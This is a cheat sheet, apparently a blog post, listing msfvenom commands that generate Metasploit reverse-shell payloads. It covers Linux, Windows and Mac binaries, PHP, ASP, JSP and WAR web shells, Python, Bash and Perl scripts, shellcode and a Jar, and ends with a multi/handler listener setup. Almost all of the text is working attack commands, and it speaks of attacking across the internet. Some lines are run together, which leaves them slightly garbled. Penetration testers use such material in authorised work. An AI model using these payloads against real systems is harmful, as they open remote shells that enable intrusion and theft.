Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

List payloads
msfvenom -l

Binaries
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Web Payloads
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Jar
msfvenom --payload="java/meterpreter/reverse_tcp" LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -t jar > java_meterpreter_reverse_tcp.jar
Handlers
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
use exploit/multi/handlerset PAYLOAD <Payload name>set LHOST <LHOST value>set LPORT <LPORT value>set ExitOnSession falseexploit -j -z
Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘